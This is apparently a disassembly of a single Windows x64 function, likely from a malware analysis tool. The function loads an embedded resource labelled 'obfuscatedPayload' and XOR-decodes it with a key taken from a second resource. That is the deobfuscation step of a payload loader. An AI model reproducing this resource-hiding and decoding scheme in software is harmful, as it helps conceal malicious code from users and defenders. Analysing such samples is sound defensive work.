Function at 0x140001f10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rbp + 0x20], rax
mov rdi, rcx
mov qword [rbp - 0x30], rcx
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea r8, [0x140004500]
lea edx, [r14 + 0x66]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x48], eax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp - 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp - 0x70], rax
lea r8, str.obfuscatedPayload
lea edx, [r14 + 0x65]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp - 0x58], rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], 0xf
mov byte [rsp + 0x28], r14b
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x140001fe0
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.1400016c0
nop
lea rdx, [rsp + 0x28]
lea rcx, [rbp - 0x20]
call fcn.1400011f0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x140002046
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002041
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002041
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002948
mov rbx, qword [rbp - 0x10]
mov qword [rbp - 0x68], rbx
mov qword [rdi], r14
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
xor r8d, r8d
lea rdx, [0x140004453]
mov rcx, rdi
call fcn.1400016c0
mov esi, 1
mov r13d, r14d
mov r12d, r14d
test rbx, rbx
je 0x14000235d
mov r15, r14
nop dword [rax]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x40], 0xf
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rax, qword [rbp - 0x20]
movzx eax, byte [r15 + rax]
mov qword [rsp + 0x38], 1
mov byte [rsp + 0x28], al
mov byte [rsp + 0x29], 0
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], 0xf
mov byte [rsp + 0x28], 0
or esi, 2
mov dword [rsp + 0x20], esi
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rax, qword [rbp - 0x20]
movzx r9d, byte [r15 + rax + 1]
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
cmp rcx, rdx
jae 0x14000213c
lea rax, [rcx + 1]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x50]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140002146
lea rcx, [rsp + 0x50]
call fcn.140001820
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp - 0x80], xmm1
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
or esi, 4
mov dword [rsp + 0x20], esi
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rax, qword [rbp - 0x20]
movzx r9d, byte [r15 + rax + 2]
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
cmp rcx, rdx
jae 0x1400021bd
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400021c7
lea rcx, [rsp + 0x70]
call fcn.140001820
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rbp - 0x40], xmm1
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
or esi, 8
mov dword [rsp + 0x20], esi
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rax, qword [rbp - 0x20]
movzx r9d, byte [r15 + rax + 3]
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
cmp rcx, rdx
jae 0x140002238
lea rax, [rcx + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp rdx, 0x10
cmovae rax, qword [rbp - 0x50]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140002241
lea rcx, [rbp - 0x50]
call fcn.140001820
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rbp - 0x40]
movups xmmword [rbp + 0x10], xmm1
or esi, 0x10
mov dword [rsp + 0x20], esi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov r14, rax
lea rbx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rbx, qword [rbp]
mov dword [rax], 0
xor r8d, r8d
lea rdx, [rbp - 0x28]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov r8d, eax
cmp rbx, qword [rbp - 0x28]
je 0x14000234f
cmp dword [r14], 0x22
je 0x140002341
xor edx, edx
mov eax, r13d
div dword [rsp + 0x48]
mov rax, qword [rbp - 0x70]
movsx edx, byte [rdx + rax]
xor edx, r8d
mov rcx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
cmp rcx, r8
jae 0x1400022db
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp r8, 0x10
jb 0x1400022d1
mov rax, qword [rdi]
mov byte [rax + rcx], dl
mov byte [rax + rcx + 1], 0
jmp 0x1400022e7
movzx r9d, dl
mov rcx, rdi
call fcn.140001820
inc r13d
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140002321
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000231c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000233a
call fcn.140002948
add r12d, 4
add r15, 4
movsxd rax, r12d
cmp rax, qword [rbp - 0x68]
jae 0x14000235d
xor r14d, r14d
jmp 0x140002090
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, str.stol_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
lea rcx, str.invalid_stol_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
nop
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_FreeResource]
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400023b0
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400023ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002948
mov rax, rdi
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140002400
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret